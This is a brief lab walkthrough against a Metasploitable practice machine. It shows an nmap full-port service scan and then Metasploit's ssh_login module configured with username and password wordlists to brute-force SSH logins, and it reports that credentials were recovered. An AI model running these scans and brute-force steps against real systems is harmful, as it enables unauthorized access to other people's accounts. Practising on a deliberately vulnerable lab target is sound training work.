Metasploitable login

#before exploiting the target scanning is done by using Nmap (Network Mapping) to find the open ports and services.#

nmap -p- -sV <the target address>

Metasploit framework module:  auxiliary/scanner/ssh/ssh\_login:

MSF> Use auxiliary/scanner/ssh/ssh\_login

>show options

set RHOST < the target address >

set RPORT <the target port> - during our port scan

set USER\_FILE /root/Desktop/http\_default\_users.txt

set PASS\_FILE /root/Desktop/http\_default\_pass.txt

set RHOST <Destination IP>

exploit

### from that module, we got a list of username and pass.